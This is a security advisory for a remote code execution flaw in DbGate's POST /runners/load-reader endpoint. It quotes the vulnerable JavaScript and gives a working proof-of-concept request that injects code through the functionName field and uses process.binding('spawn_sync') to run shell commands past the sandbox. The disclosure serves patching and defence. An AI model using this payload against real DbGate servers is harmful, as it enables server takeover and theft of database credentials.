GHSA-hv83-ggc4-v385 DbGate: Remote Code Execution via functionName injection in loadReader endpoint

• npm dbgate-api: < 7.1.9 → fixed in 7.1.9

Summary The `POST /runners/load-reader` endpoint in DbGate accepts a `functionName` parameter that is directly interpolated into a JavaScript code template without any sanitization or validation. An authenticated user (with basic access, no special permissions required) can inject arbitrary JavaScript code that executes on the server with full process privileges, bypassing the `require=null` sandbox restriction. Details The `loadReader` endpoint in `packages/api/src/controllers/runners.js` (line 353) takes a `functionName` parameter from the request body and passes it to `compileShellApiFunctionName()` which performs no sanitization: Vulnerable code (permalink): ```javascript loadReader_meta: true, async loadReader({ functionName, props }) { if (!platformInfo.isElectron) { if (props?.fileName && !checkSecureDirectories(props.fileName)) { return { errorMessage: 'DBGM-00289 Unallowed file' }; } } const prefix = extractShellApiPlugins(functionName) .map(packageName => `// @require ${packageName}\n`) .join(''); const promise = new Promise((resolve, reject) => { const runid = crypto.randomUUID(); this.requests[runid] = { resolve, reject, exitOnStreamError: true }; this.startCore(runid, loaderScriptTemplate(prefix, functionName, props, runid)); }); return promise; }, ``` The `loaderScriptTemplate` at line 57-68 directly interpolates the compiled function name: ```javascript const loaderScriptTemplate = (prefix, functionName, props, runid) => ` ${prefix} const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); ${requirePluginsTemplate(extractShellApiPlugins(functionName, props))} require=null; async function run() { const reader=await ${compileShellApiFunctionName(functionName)}(${JSON.stringify(props)}); const writer=await dbgateApi.collectorWriter({runid: '${runid}'}); await dbgateApi.copyStream(reader, writer); } dbgateApi.runScript(run); `; ``` The `compileShellApiFunctionName` in `packages/tools/src/packageTools.ts` (line 30-35) performs no validation: ```typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return `${_camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}`; } return `dbgateApi.${functionName}`; } ``` Two injection vectors: 1. Without `@`: The entire `functionName` is appended after `dbgateApi.` without sanitization 2. With `@`: The part before `@` (`nsMatch[1]`) is appended after `.shellApi.` without sanitization (only the part after `@` goes through `_camelCase`) Although the script template sets `require=null`, the `process` global is still available. `process.binding("spawn_sync")` provides direct access to spawn child processes, completely bypassing the sandbox. Compare with safe code in the same file (line 292): ```javascript start_meta: true, async start({ script }, req) { // ... await testStandardPermission('run-shell-script', req); // " \ -d '{ "functionName": "toString();var __r=process.binding(\"spawn_sync\").spawn({file:\"/bin/sh\",args:[\"/bin/sh\",\"-c\",\"id > /tmp/dbgate-rce-proof\"],envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});dbgateApi.toString//", "props": {} }' ``` This generates the following JavaScript that is forked as a child process: ```javascript const dbgateApi = require(process.env.DBGATE_API); dbgateApi.initializeApiEnvironment(); require=null; async function run() { const reader=await dbgateApi.toString();var __r=process.binding("spawn_sync").spawn({file:"/bin/sh",args:["/bin/sh","-c","id > /tmp/dbgate-rce-proof"],envPairs:[],stdio:[{type:"pipe",readable:true,writable:false},{type:"pipe",readable:false,writable:true},{type:"pipe",readable:false,writable:true}]});dbgateApi.toString//({}) // ... rest of template } dbgateApi.runScript(run); ``` After the request, `/tmp/dbgate-rce-proof` contains the output of `id`, confirming arbitrary command execution. A standalone PoC script is available at: `reports/cve-hunting/pocs/dbgate/rce_loadreader_functionname_injection.py` Impact An authenticated user with basic access (no admin role, no `run-shell-script` permission required) can: 1. Execute arbitrary OS commands on the DbGate server with the privileges of the Node.js process 2. Read/write any file accessible to the process 3. Pivot to connected databases by reading connection credentials from DbGate's storage 4. Compromise the host system - in Docker deployments, this typically means root access within the container This is particularly severe because: • No special permissions are required beyond basic authentication • The `require=null` sandbox is completely bypassed via `process.binding("spawn_sync")` • The `loadReader` endpoint lacks the permission checks present on the `start` endpoint • DbGate is commonly deployed as a web-accessible database management tool